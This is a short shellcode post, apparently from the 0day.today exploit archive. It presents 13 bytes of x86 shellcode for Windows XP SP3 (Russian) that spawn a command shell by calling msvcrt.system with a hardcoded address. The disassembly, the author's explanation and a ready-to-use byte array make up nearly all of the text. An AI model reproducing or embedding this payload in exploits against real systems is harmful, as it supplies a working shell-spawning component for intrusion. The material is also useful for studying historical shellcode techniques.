win32/xp sp3 (Ru) cmd 13 bytes

==============================
win32/xp sp3 (Ru) cmd 13 bytes
==============================


Tested on Windows XP Pro Rus sp3. Probably, will work with any service pack present.
 
68 636D6420  push 0x20646D63
54           push esp
B8 C793C177  mov eax,msvcrt.system
FFD0         call eax
 
I push "cmd " in the stack, then push esp, which is address of pushed string. "cmd" has trailing space, 'cos I didn't want to use zero-byte, so this space transforms rubbish from stack in parameter for cmd. Unfortunately, once in a while it will crush cmd. Don't forget, that address of system( char * ) changes from one service pack to another.
 
Great thanks to Mountassif Moad for his inspiring shellcodes.
 
{ 0x68, 0x63, 0x6D, 0x64, 0x20, 0x54, 0xB8, 0xC7, 0x93, 0xC1, 0x77, 0xFF, 0xD0 }
 
Сoded via lord Kelvin


#  0day.today [2018-04-04]  #